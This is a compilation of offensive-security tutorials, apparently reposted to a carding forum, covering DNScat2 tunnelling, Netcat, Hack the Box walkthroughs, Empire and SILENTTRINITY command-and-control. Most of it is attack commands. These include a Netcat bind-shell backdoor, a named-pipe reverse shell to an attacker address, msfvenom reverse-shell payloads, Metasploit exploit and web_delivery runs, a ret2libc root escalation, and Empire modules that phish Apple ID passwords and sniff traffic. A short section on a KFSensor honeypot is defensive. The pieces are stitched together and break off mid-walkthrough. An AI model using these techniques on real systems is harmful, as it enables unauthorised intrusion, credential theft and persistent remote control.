2
windows
session -i 2
[Image: 10.png?w=687]

Once you are in the session, you can execute any shell command like ‘uname -a’ as shown in the image above.
DNS Tunnelling
DNS tunnelling is the best attack through DNScat2. If through ifconfig you find two networks in your target system, as shown in the image below, you can easily perform DNS tunnelling.
[Image: 11.png?w=687]

For DNS tunnelling, type the following command :
listen 127.0.0.1:888 10.0.0.10:22
1
listen 127.0.0.1:888 10.0.0.10:22
[Image: 12.png?w=687]

Now you can try and connect to the SSH port with the following command :
ssh [email protected] -p 888
1
ssh [email protected] -p 888
Then, once connected, you can use ‘ifconfig’ command to see the network you have tunnelled for as shown in the following image :
[Image: 13.png?w=687]

As you have SSH control of the second network too, you can download DNScat2 in the said network too, in order to attack that network as well. Once you have downloaded DNScat2 in that network, type the following command to run it and have your session on the DNScat2 server :
dnscat2.exe --dns=server=192.168.174.131,port=53
1
dnscat2.exe --dns=server=192.168.174.131,port=53
[Image: 14.png?w=687]

Once the above command is executed, you will have a new session that you can access with the following set of commands :
sessions
session -i 2
1
2
sessions
session -i 2
And once you have access to the session, you can run any command.
[Image: 15.png?w=687]

And when further you use the systeminfo command, it will show you the details of the second system that you have gotten the access of through tunnelling.
[Image: 16.png?w=687]

Conclusion

Even in the most confined situations, DNS traffic ought to be permitted to determine inner or outside network. This can be utilized as a correspondence channel between an objective host and the command and control server. Command and information are contained inside DNS inquiries and identification that is why detection is troublesome since arbitrary command hides in plain sight due it being perceived as legitimate traffic. And this is exactly what DNSCat takes advantage of, making it a successful tool to attack.

[Guide] How to Comprehensive Guide on Netcat

Posted by: NINZA - 05-14-2020, 11:58 AM - Forum: Carders Home - No Replies

This article will provide you with the basic guide of Netcat and how to get a session from it using different methods.

Table of Contents:

Introduction
Features
Getting start with NC
Connecting to a Server
Fetching HTTP header
Chatting
Creating a Backdoor
Verbose Mode
Save Output to Disk
Port Scanning
TCP Delay Scan
UDP Scan
Reverse TCP Shell Exploitation
Randomize Port
File Transfer
Reverse Netcat Shell Exploitation
Banner grabbing

Introduction to Netcat

Netcat or nc is a utility tool that uses TCP and UDP connections to read and write in a network. It can be used for both attacking and security. In the case of attacking, it can be driven by scripts which makes it quite dependable back-end. and if we talk about security, it helps us to debug the network along with investing it.

Features

Act as a simple TCP/UDP/SCTP/SSL client for interacting with web servers, telnet servers, mail servers, and other TCP/IP network services. Often the best way to understand a service (for fixing problems, finding security flaws, or testing custom commands) is to interact with it using Netcat. This lets you control every character sent and view the raw, unfiltered responses.
Redirect or proxy TCP/UDP/SCTP traffic to other ports or hosts. This can be done using simple redirection (everything sent to a port is automatically relayed somewhere else you specify in advance) or by acting as a SOCKS or HTTP proxy so clients specify their own destinations. In client mode, Netcat can connect to destinations through a chain of anonymous or authenticated proxies.
Run on all major operating systems. We distribute Linux, Windows, and Mac OS X binaries, and Netcat compiles on most other systems. A trusted tool must be available whenever you need it, no matter what computer you’re using.
Encrypt communication with SSL, and transport it over IPv4 or IPv6.
Act as a network gateway for execution of system commands, with I/O redirected to the network. It was designed to work like the Unix utility cat, but for the network.
Act as a connection broker, allowing two (or far more) clients to connect to each other through a third (brokering) server. This enables multiple machines hidden behind NAT gateways to communicate with each other, and also enables the simple Netcat chat mode.

Getting start with NC

To start NC, the most basic option we can use the help command. This will show us all the options that we can use with Netcat. The help command is the following one :
nc -h
1
nc -h
[Image: 1.png?w=687]

Connecting to a Server
Here, we have connected FTP Server with the IP Address 192.168.1.6. To connect to the server at a specific port where a particular service running. In our case, the port is 21 i.e. FTP.
Syntax: nc [Target IP Address] [Target Port]
nc 192.168.1.6 21
1
nc 192.168.1.6 21
As we can see in the given image, we have vsFTPd installed on the server, and after giving the Login credentials we have successfully logged in the FTP Server.
[Image: 2.png?w=687]

Fetching HTTP header
We can use netcat to fetch information about any webserver. Let’s get back to the server we connected to earlier. It also has HTTP service running on port 80. So, we connected to HTTP service using netcat as we did earlier. Now after connecting to the server, we use the option that will give us the header along with the source code of the HTTP service running on the remote server.
nc 192.168.1.6 80
HEAD/HTTP/1.0
1
2
nc 192.168.1.6 80
HEAD/HTTP/1.0
As we can see in the given image that the header and source code is displayed through the netcat connection.
[Image: 3.png?w=687]

Chatting

Netcat can also be used to chat between two users. We need to establish a connection before chatting. To do this we are going to need two devices. One will play the role of initiator and one will be a listener to start the conversation and so once the connection is established, communication can be done from both ends. Here we are going to create a scenario of chatting between two users with the different operating system.
User 1
OS: Windows 10
IP Address: 192.168.1.4
Role: Listener
User 2
OS: Kali Linux
IP Address: 192.168.1.35
Role: Initiator
Now in each and every scenario, regarding netcat. This step is prominent. First, we will have to create a listener. We will use the following command to create a listener:
nc -lvvp 4444
1
nc -lvvp 4444
where,
[-l]: Listen Mode
[vv]: Verbose Mode {It can be used once, but we use twice to be more verbose}
[p]: Local Port
[Image: 5.png?w=687]

Now, it’s time to create an initiator, for this we will just provide the IP Address of the System where we started the Listener followed by the port number.
NOTE: Use the same port to create an initiator which was used in creating listener
nc 192.168.1.4 4444
1
nc 192.168.1.4 4444
[Image: 4.png?w=687]

Creating a Backdoor

We can also create a backdoor using NC. To create a backdoor on the target system that we can come back to at any time. Command for attacking a Linux System.
nc -l -p 2222 -e /bin/bash
1
nc -l -p 2222 -e /bin/bash

This will open a listener on the system that will pipe the command shell or the Linux bash shell to the connecting system.
nc 192.168.1.35 2222
1
nc 192.168.1.35 2222
[Image: 7.png?w=687]

Verbose Mode
In netcat, Verbose is a mode which can be initiated using [-v] parameter. Now verbose mode generates extended information. Basically, we will connect to a server using netcat two times to see the difference between normal and verbose mode. In the image given below, we can see that when we add [-v] to the netcat command it displays the information about the process that its performance while connecting to the server.
nc 192.168.1.6 21 -v
1
nc 192.168.1.6 21 -v
[Image: 8.png?w=687]

Save Output to Disk

For the purpose of the record maintenance, better readability and future references, we will save the output of the Netcat. To do this we will use the parameter -o of the Netcat to save the output in the text file.
nc 192.168.1.6 21 -v -o /root/output.txt
1
nc 192.168.1.6 21 -v -o /root/output.txt
Now that we have successfully executed the command, now let’s traverse to the location to ensure whether the output has been saved on the file or not. In this case, our location for output is /root /output.txt.
[Image: 9.png?w=687]

Port Scanning

Netcat can be used as a port scanner although it was not designed to function as one. To work as a port scanner, we use the [-z] parameter. It tells netcat to scan listing daemon without sending any data. This makes it possible for netcat to understand the type of service that is running on that specific port. Netcat can perform TCP and UDP scan.
TCP Scan
nc -v -n -z -w 2 192.168.1.6 21-1100
1
nc -v -n -z -w 2 192.168.1.6 21-1100
Here,

[-v]: indicates Verbose mode
[-n]: indicates numeric-only IP addresses
[-z]: indicates zero -I/O mode [used for scanning]
[-w]: indicates timeout for connects and final net reads

Also, to perform a port scan netcat needs a range of port numbers. We can provide a range of ports to scan.
From the given image we can see that the target machine has lots of ports open with various services running on them.
nc -v -n -z -w 2 192.168.1.6 21-1100
1
nc -v -n -z -w 2 192.168.1.6 21-1100
[Image: 11.png?w=687]

TCP Delay Scan
In order to not to be noisy in an environment, it is recommended to use a delayed scan. Now to perform a delayed scan, we need to specify the delay. We will use the [-i] parameter to specify the delay in sending the next packet in seconds.
nc -z -v -i 10 192.168.1.6 21-80
1
nc -z -v -i 10 192.168.1.6 21-80
[Image: 13.png?w=687]

UDP Scan
Netcat can scan the UDP ports in a similar way it scanned the TCP ports. We are going to use [-u] parameter to invoke the UDP mode.
nc -vzu 192.168.1.6 80-90
1
nc -vzu 192.168.1.6 80-90
[Image: 12.png?w=687]

Reverse TCP Shell Exploitation
We can exploit a system using a combination of msfvenom and netcat. We will use msfvenom to create a payload and netcat to listen for the session. Firstly, we will have to create a payload.
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.35 lport=2124 -f exe > /root/Desktop/1.exe
1
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.35 lport=2124 -f exe > /root/Desktop/1.exe
We are using the shell_reverse_tcp payload to get a session. We have provided with Local IP address and port and then exported the script inside an Executable(exe) file. Now we will create a listener using netcat on the port we provided during the payload creation. We will now have to send the payload file to the target. When the target will run the executable file, we will get a session on our netcat listener.
nc -lvvp 2124
1
nc -lvvp 2124
[Image: 13.1.png?w=687]

Randomize Port
If we can’t decide our very own port to start listener or establish our Netcat connection. Well, netcat has a special -r parameter for us which gives us randomize local port.
nc -lv -r
1
nc -lv -r
[Image: 15.png?w=687]

File Transfer
Netcat can be used to transfer the file across devices. Here we will create a scenario where we will transfer a file from a windows system to Kali Linux system. To send the file from the Windows, we will use the following command.
nc -v -w 30 -p 8888 -l < C:\netcat\output.txt
1
nc -v -w 30 -p 8888 -l < C:\netcat\output.txt
[Image: 16.png?w=687]

Now we will have to receive the file shared on Kali Linux. Here we will provide netcat with the Windows IP Address and the port which hosts the file. And write the output inside a text file. For doing this we will use the following command:
nc -v -w 2 192.168.1.4 8888 > output.txt
1
nc -v -w 2 192.168.1.4 8888 > output.txt
[Image: 17.png?w=687]

Reverse Netcat Shell Exploitation
We will use msfvenom to create a payload and netcat to listen for the session. Firstly, we will have to create a payload.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.35 lport=6666 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.35 lport=6666 R
[Image: 18.png?w=687]

So, when you execute the above command; you will get another command that has to be run in the target system, as shown in the image below, you will have your session as shown in the image above.
[Image: 19.png?w=687]

Another way to have a reverse shell is by executing the following command in the target system :
mknod /tmp/backpipe p
1
mknod /tmp/backpipe p
[Image: 20.png?w=687]

/bin/sh 0</tmp/backpipe | nc 192.168.1.35443 1>/tmp/backpipe
1
/bin/sh 0</tmp/backpipe | nc 192.168.1.35443 1>/tmp/backpipe
And then when you start netcat as shown in the image below, you will have a session.
[Image: 21.png?w=687]

Banner Grabbing
To grab the target port banner from netcat, use the following command :
nc -v 192.168.1.2 22
1
nc -v 192.168.1.2 22
So, this was a basic guide to netcat. It’s quite an interesting tool to use as well as it is pretty easy.
[Image: 22.png?w=687]

In this article, however, we will set up a framework to draw in attacker so we can catch or study them. Since almost the majority of the attackers around the globe are focusing on Windows servers for the various of their known defects and vulnerabilities, we will set up a Windows framework to do only that. we will set up a honeypot. In the event that you abandon it ready for action, you can watch other attackers rehearsing their attack and prepare for it.
Table of Content:

Introduction to Honeypot
Introduction to KFSensor
Working of KFSensor

Introduction to Honeypot
Honeypot disguises itself as an actual server to give the false idea to the attackers and divert their attacks. Therefore,a honeypot should be set up just like the real server so that data can appear to be authentic by showing fake files, fake ports, fake directories, etc. As the honeypot creates the illusion of being legitimate; the attacker tends to believe that they have gained accessed of the real deal. One of the main differences is the area of the machine in connection to the genuine servers. The disguised machine is normally set someplace in the DMZ. This guarantees the inner system isn’t presented to the attacker. Honeypots work by checking and\or once in a while controlling the interloper amid their utilization of the Honeypot. This should be possible whether the assault originated all things considered or within the system, contingent upon the area of the distraction framework. Honeypots are commonly intended to review the action of an interloper, spare log documents, and record such occasions as the procedures began, orders, a record includes, erases, changes, and even keystrokes.
Introduction to KFSensor
KFSensor is a honeypot for a windows system. it also acts as an IDS. Its job is to attract and detect all the attackers in the network, hence the name ‘Honeypot’. It does so by imitating a vulnerable environment and disguising itself as a server and it way, it succeeds to not only catch the attacker but also helps to know their motive. It is specifically designed for windows therefore it contains a lot of windows dedicated unique features. It’s quite convenient to use and a user friendly due to its GUI based console, along with its low maintains.
Working of KFSensor
KFSensor’s role is to be a decoy server for the attackers in order to protect the real thing. It does its job perfectly by opening fake ports on the system where it’s installed and gathering the information when a connection is made. It does this in precisely the same way as a routine server program, such as a web server or an SMTP server. By doing this it sets up a target, or a honeypot server, that will record the activities of an attacker.
Working with KFSensor
After downloading and installing KFSensor, when you turn it on, you will see the following window. Here, click on next.
[Image: Screenshot_4.png?w=687&ssl=1]

Then it will ask you to select the ports as shown in the image below, after selecting the ports click on next button.
[Image: Screenshot_5.png?w=687&ssl=1]

Then it will ask you if you want get email notification of its alerts over the time. So, here, you can add the email from which you want to send and the email where you want to receive the mails.
[Image: Screenshot_6.png?w=687&ssl=1]

After these formalities, click on finish button.
[Image: Screenshot_7.png?w=687&ssl=1]

Once, you click on the finish button, it will show you the following window.
[Image: Screenshot_8.png?w=687&ssl=1]

Now, as the honeypot has been setup, if you scan the victim target (which is installed with honeypot) using nmap, it will show you all the ports open ass a decoy, just like its shown in the image below :
[Image: 9.png?w=687&ssl=1]

And in KFSensor it will show the details of the scan along with its IP. It will also generate an alarm to alert you.
[Image: Screenshot_10.png?w=687&ssl=1]

If the attacker is using any other tool to scan the network, like Nessus, even then the working of KFSensor will be same. For instance, if the attack is through Nessus as shown in the image below :
[Image: Screenshot_11.png?w=687&ssl=1]

And when the attack from Nessus is completed, it will show you the faux result as you can see in the image below :
[Image: Screenshot_12.png?w=687&ssl=1]

And similarly, the KFSensor will alert you as it is shown in the image below :
[Image: Screenshot_13.png?w=687&ssl=1]

This way, KFSenor is the best way to detect and confuse the attacker in order to save yourself and be cautious.

Today we are going to solve another CTF challenge “Frolic”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Expert
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Frolic is 10.10.10.111
Penetrating Methodology

Network scanning (Nmap)
Surfing HTTPS service port (9999)
Enumerating directory using dirb
Enumerating web application
Finding Playsms management system
Exploiting playsms and getting a reverse shell
Getting user flag
Finding SUID bit files
Finding a vulnerability in the binary
Exploiting binary and getting a root shell
Getting the root flag

Walkthrough
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -sV 10.10.10.111
1
nmap -sV 10.10.10.111
[Image: 1.png?w=687&ssl=1]

The Nmap scan shows us that there are 4 ports are open: 22(SSH), 139(SMB), 445(SMB), 9999(HTTP)
As port 9999 is running HTTP service, we open the IP address in the web browser.
[Image: 2.png?w=687&ssl=1]

We don’t find anything on the web page, so we further enumerate the web service using dirb scan.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Dirb scan gave us a few interesting looking links, we open a link called /admin/ and find a login page.
[Image: 5.png?w=687&ssl=1]

We take a look at the source code and find a link called “login.js”.
[Image: 6.png?w=687&ssl=1]

We open the “login.js” and find username and password hardcoded in the JavaScript.
[Image: 7.png?w=687&ssl=1]

We use the username and password we found earlier to login. After logging in we find “look” encoded string.
[Image: 8.png?w=687&ssl=1]

We decode the string and a link inside.
[Image: 9.png?w=687&ssl=1]

We open the link and find a page with base64 encoded string.
[Image: 10.png?w=687&ssl=1]

We copy the base64 encoded string and save it in our system and then convert it and save it in a file. We check the file type and find it is a zip file. We try to extract it and find it is password protected. We use fcrackzip to bruteforce the zip file and find the password to be “password”. We extract the files from the zip file and find a file called index.php. We take a look at the content of the file and find hex encoded string.
base64 -d code > encodedfile
file encodedfile
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u encodedfile
unzip encodedfile
1
2
3
4
base64 -d code > encodedfile
file encodedfile
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u encodedfile
unzip encodedfile
[Image: 12.png?w=687&ssl=1]

We decoded the string using burpsuite and find a base64 encoded string. We decode the base64 encoded string and find a brainfuck encoded string.
[Image: 13.png?w=687&ssl=1]

We decoded the brainfuck encoded string and find a string called “idkwhatispass”.
[Image: 14.png?w=687&ssl=1]

We open /playsms directory and find playsms CMS login page.
[Image: 18.png?w=687&ssl=1]

We try username “admin” and password “idkwhatispass” to login and are successfully able to login. So we use Metasploit to get a reverse shell using these credentials.
msf > use exploit/multi/http/playsms_uploadcsv_exec
msf exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111
msf exploit(multi/http/playsms_uploadcsv_exec) > set rport 9999
msf exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /playsms
msf exploit(multi/http/playsms_uploadcsv_exec) > set username admin
msf exploit(multi/http/playsms_uploadcsv_exec) > set password idkwhatispass
msf exploit(multi/http/playsms_uploadcsv_exec) > set lhost tun0
msf exploit(multi/http/playsms_uploadcsv_exec) > exploit
1
2
3
4
5
6
7
8
msf > use exploit/multi/http/playsms_uploadcsv_exec
msf exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111
msf exploit(multi/http/playsms_uploadcsv_exec) > set rport 9999
msf exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /playsms
msf exploit(multi/http/playsms_uploadcsv_exec) > set username admin
msf exploit(multi/http/playsms_uploadcsv_exec) > set password idkwhatispass
msf exploit(multi/http/playsms_uploadcsv_exec) > set lhost tun0
msf exploit(multi/http/playsms_uploadcsv_exec) > exploit
After getting a reverse shell, we spawn a TTY shell and start enumerating the system. Inside /home/aysush directory we find a file called “user.txt”. We open the file and find the first flag. Then we start looking for files with SUID bit set and find a file called “rop” inside “/home/ayush/.binary” directory.
[Image: 19.png?w=687&ssl=1]

python -c "import pty; pty.spawn('/bin/bash')"
find / -perm -u=s -type f 2>/dev/null
1
2
python -c "import pty; pty.spawn('/bin/bash')"
find / -perm -u=s -type f 2>/dev/null
[Image: 20.png?w=687&ssl=1]

The target machine doesn’t have “gdb”, so we download the “rop” file in our system and start looking for vulnerabilities. We create a 150 bytes long pattern with pattern_create.rb file in our system and then open the file with “gdb” and supply the pattern as an argument to our file. As soon as we run the application we get a segmentation fault. Now as we can overwrite instruction pointer that means the application is vulnerable to buffer overflow.
gdb -q rop
r <pattern>
1
2
gdb -q rop
r <pattern>
[Image: 24.png?w=687&ssl=1]

We copy the value of EIP and use “pattern_offset.rb” script to find the EIP offset.
./pattern_offset -q 0x62413762
1
./pattern_offset -q 0x62413762
[Image: 25.png?w=687&ssl=1]

As it is difficult for us to make a jump to stack because we cannot get the address of the stack we want to jump. So we use ret2libc to exploit the vulnerability and get a shell. Now in our system, we first find the address of “system” function and a return address. Now we find the address of “/bin/sh” to execute using “system” function.
p system
p exit
find 0xf7e0c980, +9999999, "/bin/sh"
1
2
3
p system
p exit
find 0xf7e0c980, +9999999, "/bin/sh"
[Image: 26.png?w=687&ssl=1]

We write an exploit and check if we can exploit the application to spawn a shell.
[Image: 27.png?w=687&ssl=1]

We run the exploit in our system and are successfully able to spawn a shell.
r $(python exploit.py)
1
r $(python exploit.py)
[Image: 28.png?w=687&ssl=1]

Now we cannot directly run this exploit on the target system, as we don’t have the addresses of the libc functions of the target system. We are going to change the addresses of the exploit according to the target machine. First, get the address of libc used by the binary. As we don’t have gdb in the target system, so we use readelf, strings and grep to find “system”, “exit” and “/bin/sh” for our exploit.
ldd /home/ayush/.binary/rop |grep libc
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
1
2
3
4
ldd /home/ayush/.binary/rop |grep libc
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
[Image: 29.png?w=687&ssl=1]

We have to add the value of “system”, “exit” and “/bin/sh” to the address of libc to get the address of “system”, “exit” and “/bin/sh”.Now we make the following changes to the exploit. You can download the exploit from here.
[Image: 30.png?w=687&ssl=1]

We transfer the exploit to the target machine and run the exploit. As soon as we run the exploit we are able to spawn a shell as the root user.
/home/ayush/.binary/rop $(python /tmp/exploit.py)
1
/home/ayush/.binary/rop $(python /tmp/exploit.py)
After getting a reverse shell, we switch to /root directory and get a file called “root.txt”. We take a look at the content of the file and get the final flag.
[Image: 31.png?w=687&ssl=1]

This is our 8th post in the series of the empire which covers how to use empire as GUI. Empire has a great GUI mechanism, but it’s still developing as it has been released just a while back. For empire GUI to work, we need to download all of its dependencies and this is where it gets a bit complicated. So, first of all, we will download the beta 3.0 version of empire as it’s the only version compatible with the GUI. Using the following commands:
git init
git remote add -t "3.0-beta" -f origin "//github.com/EmpireProject/Empire"
1
2
git init
git remote add -t "3.0-beta" -f origin "//github.com/EmpireProject/Empire"
[Image: 1.png?w=687]

Now run the following command as instructed on the GitHub page :
git checkout 3.0-Beta
1
git checkout 3.0-Beta
[Image: 2.png?w=687]

Now to install the beta version, type the following command :
./setup/install.sh
1
./setup/install.sh
[Image: 3.png?w=687]

Now to run empire use the following as it will link the command line to GUI version :
./empire –server –shared_password 12345 –port 1337
1
./empire –server –shared_password 12345 –port 1337
[Image: 4.png?w=687]

And as shown in the image below, the Empire will start.
[Image: 5.png?w=687]

Now, download the GUI of empire from GitHub using the following command :
git clone //github.com/EmpireProject/EmpireGUI.git
1
git clone //github.com/EmpireProject/EmpireGUI.git
[Image: 6.png?w=687]

Now that GUI of empire and the beta version of empire has been downloaded, we need to install its dependencies for it to work successfully. And for that, we will have to download nodejs first and to download it, type :
apt install nodejs
1
apt install nodejs
And in time, it will be installed as shown in the image below :
[Image: 7.png?w=687]

After nodejs, we have to download npm and for that type :
apt install npm
1
apt install npm
[Image: 8.png?w=687]

As its download, like in the image above, now run the following command in order to install it :
npm install
1
npm install
[Image: 9.png?w=687]

And then start the npm service, as shown in the image below, with the following command :
npm start
1
npm start
[Image: 10.png?w=687]

After all this, the GUI of empire will start as shown in the image below :
[Image: 11.png?w=687]

Moving further once the GUI of empire is up and running, create a stager and get an agent from the beta version of empire, while getting a session, remember to use port 1337 as that is the port the GUI works on.
[Image: 12.png?w=687]

Now, on the GUI, log in using your IP and port and other details as shown in the image below :
[Image: 13.png?w=687]

And as you will login, it will show you all the sessions you have, just like in the image below :
Here, all the shell commands will work as shown in the image above. As the GUI is still developing, we can’t use it for post exploitations. But it, it comes pretty handy in order to manage multiple sessions and it helps you understand it’s working better.
[Image: 14.png?w=687]

[Guide] How to Command & Control: Silenttrinity Post-Exploitation Agent

Posted by: NINZA - 05-14-2020, 11:56 AM - Forum: Carders Home - No Replies

In this article, we will learn to use Silent Trinity tool to exploit windows.
Table of content:

Introduction
Installation
Windows exploitation
Windows post exploitation
Silent trinity to meterpreter

Introduction
Silent trinity is a command and control tool dedicated to windows. It is developed by byt3bl33d3r in python, iron python, C# and .net. as it is windows dedicated tool, C# was but obvious choice as it has a direct access .NET framework just like PowerShell. Its an amazing post exploitation tool for windows. This tool supports C2 server over HTTP 1.1.
Installation
Installing silent trinity is pretty easy as you just have to download it using git clone and then install its dependencies using pip command. To download silent trinity, use the following command :
git clone //github.com/byt3bl33d3r/SILENTTRINITY
1
git clone //github.com/byt3bl33d3r/SILENTTRINITY
[Image: 1.png?w=687]

Now to install all the requirements using the following commands :
pip install -r requirements.txt
1
pip install -r requirements.txt
[Image: 2.png?w=687]

Once the installation is complete, start the said tool as shown in the image below :
[Image: 3.png?w=687]

Windows Exploitation
As the tool is up and running, use ‘list’ command to see the list of listeners available. As you can see in the image below only listeners are available i.e. http, and https. To start the listener, use the following set of commands :
use http
start
1
2
use http
start
When starting the listener, there is no need to give IP address or port as it automatically takes the IP of the local machine and the port is always pre-defined, depending on the listener, such as port 80 is specified for the listener http and port 443 is specified for the listener https. Now, as you can see that in the image below, with the help of the above commands our listener has started :
[Image: 4.png?w=687]

As we have done with the listeners, now comes the stagers. Similar to the listener, use the ‘list’ command to see the list of all the available listeners. Because this tool is a windows dedicated tool, there are only three stagers in relation to windows and they are msbuild, wmic, PowerShell. To launch the stager use the following set of commands :
use msbuild
generate http
1
2
use msbuild
generate http
[Image: 5.png?w=687]

Executing the above commands will create a file. Share that file to the target system using the python server as shown in the image below :
[Image: 6.png?w=687]

And now, run the file in the command prompt of the target system with the following command :
C:\windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuiild.xml
1
C:\windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuiild.xml
[Image: 7.png?w=687]

As the file is executed, you can see in the image below, a session will be generated.
[Image: 8.png?w=687]

Windows Post Exploitation
As the session is generated, you can again use the ‘list’ command to see the list of post exploitation modules available, some of which we will show in our article, as shown in the image below :
[Image: 9.png?w=687]

Let’s try and use the message box. The purpose of this exploit is to pop a message on the victim’s PC. To use this exploit run the following set of commands :
use ipy/msgbox
set Text "Hacking Articles"
set Title "Hack"
run <session name>
1
2
3
4
use ipy/msgbox
set Text "Hacking Articles"
set Title "Hack"
run <session name>
[Image: 10.png?w=687]

And as the result of the said exploit, a message box will pop up on the target machine. You can see the message box in the image below :
[Image: 11.png?w=687]

The next exploit is to receive basic information about the target system. And for his, type the following set of commands :
use ipy/systeminfo
run <session name>
1
2
use ipy/systeminfo
run <session name>
[Image: 12.png?w=687]

There is a module for enumeration of host and to run that module type the following set of commands :
use ipy/hostenum
run <session name>
1
2
use ipy/hostenum
run <session name>
As you can see you have catalogues and detailed information about your target system in the image below :
[Image: 13.png?w=687]

With the next exploit, you can access shell of the target system but command by command and for this type :
use ipy/shell
set Command ipconfig
run <session name>
1
2
3
use ipy/shell
set Command ipconfig
run <session name>
As shown in the image below, it runs the ipconfig command through the session that has access to.
[Image: 14.png?w=687]

Silent trinity to meterpreter
To have a meterpreter session via silent trinity start Metasploit by using msfconsole command in a new terminal. And use the web_delivery exploit using the following command :
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set lhost eth0
set lport 4444
run
1
2
3
4
5
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set lhost eth0
set lport 4444
run
Running the above commands will generate a command that is to be run in the target system as shown in the image below :
[Image: 15.png?w=687]

The above-generated command is to be run in the shell of the victim’s PC and for that execute the command in the shell by using silent trinity as we had run ipconfig command earlier.
run <session name>
[Image: 16.png?w=687]

As the command will run in the silent trinity, you will have your meterpreter session as shown in the image below :
[Image: 17.png?w=687]

So, all in all, Silent trinity is an amazing tool when it comes to exploiting windows.

This article is another post in the empire series. In this article, we will learn OSX Penetration testing using empire.
Table of Content
Exploiting MAC
Post Exploitation

Phishing
Privilege Escalation
Sniffing

Exploiting MAC
Here I’m considering you know PowerShell Empire’s basics, therefore, we will create the listener first using the following commands:
uselistener http
set Host //192.168.1.26
execute
1
2
3
uselistener http
set Host //192.168.1.26
execute
[Image: 1.png?w=687]

Executing the above commands will start up the listener as shown in the image above. Now the next step is to create a stager for OS X. And for that, type :
usestager osx/launcher
execute
1
2
usestager osx/launcher
execute
[Image: 2.png?w=687]

As you can see in the image above, the above stager will generate a code. Execute this code in the target system i.e. OS X and after the execution, you will have your session as shown in the image below :
[Image: 3.png?w=687]

Post Exploitation
Phishing
As we have the session of our mac, there are few post exploits that can use to our advantage. The first post exploitation module we will use is a collection/osx/prompt. Using this module will ask the user to enter their password to their Apple ID, which means this module does not work in stealth mode. To use this module type :
usemodule collection/osx/prompt
execute
1
2
usemodule collection/osx/prompt
execute
[Image: 4.png?w=687]

Executing the above module will open a prompt in the target machine as shown in the image below and when entered password you have it in clear text as shown in the image above.
[Image: 5.1.png?w=687]

Privilege Escalation
For the privilege escalation of OS X, we have used the module privesc/multi/sudo_spawn. To sue this module type :
usemodule privesc/multi/sudo_spawn
set Listener http
set Password toor
execute
1
2
3
4
usemodule privesc/multi/sudo_spawn
set Listener http
set Password toor
execute
Executing this module will give you admin rights with a new session, as you can see in the image below :
[Image: 5.png?w=687]

Sniffing
The module we will use is collection/osx/sniffer. This will sniff around all the traffic in the coming to and going from our target system and give us all the necessary details by creating a pcap file. To use module type :
usemodule collection/osx/sniffer
execute
1
2
usemodule collection/osx/sniffer
execute
[Image: 6.png?w=687]

As you can see that you will even find the password in clear text in the pcap file as shown in the image below :
[Image: 7.png?w=687]

Next post module is of taking a screenshot of the target system and to use the said module type :
usemodule collection/osx/screenshot
execute
1
2
usemodule collection/osx/screenshot
execute
[Image: 8.png?w=687]

The above module will take a screenshot as shown in the image below :
[Image: 9.png?w=687]

There is a further number of post modules which you can use and experiment with as shown in the image below :
[Image: 10.png?w=687]

Today we are going to solve another CTF challenge “Carrier”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Expert
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Carrier is 10.10.10.105
Penetrating Methodology

Network scanning (Nmap)
Enumerating SNMP service port (161)
Surfing HTTPS service port (80)
Logging in through the Web portal
Finding command injection in web application
Getting reverse shell
Finding the first flag.
Finding Border Gateway Protocol
Border Gateway Protocol (BGP) Hijacking
Capturing FTP credentials
Logging in through SSH
Finding final flag

Walkthrough
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -sC -sV -p- -T4 10.10.10.105
nmap -sU --min-rate=5000 -T4 10.10.10.105
1
2
nmap -sC -sV -p- -T4 10.10.10.105
nmap -sU --min-rate=5000 -T4 10.10.10.105
[Image: 1.png?w=687&ssl=1]

The Nmap scan shows us that there are 3 TCP ports are open: 21(FTP), 22(SSH), 80(HTTP) and 1 UDP port is open: 161(SNMP)
As port 161 is open we use snmpwalk to enumerate SNMP port and find a string called “SN#NET_45JDX23”.
snmpwalk -c public -v 1 10.10.10.105
1
snmpwalk -c public -v 1 10.10.10.105
[Image: 2.1.png?w=687&ssl=1]

As port 80 is open, we open the web services in the browser and we find a login page.
[Image: 2.png?w=687&ssl=1]

We try username “admin” and the string we find earlier as the password. But were unable to login but by using the password “NET_45JDX23”, we were able to login.
[Image: 3.png?w=687&ssl=1]

By checking the different options in the web application, in the diagnostic tab, we find something interesting. When we click on the “Verify status” button, we find that the server might be running “ps” command.
[Image: 4.png?w=687&ssl=1]

So further enumerate the web application, we use BurpSuite to capture the request and find inside the “check” parameter a base64 encoded string. When we decode the base64 encoded string we find the string to be called “quagga”. Now if check the web application, it is showing all the process that contains the string “quagga”. So that means the web application is running “ps” with “grep quagga” command.
[Image: 5.png?w=687&ssl=1]

Now to verify our theory, we change the check parameter to “root” and then encode it to base64 and then encode it to URL encode.
[Image: 6.png?w=687&ssl=1]

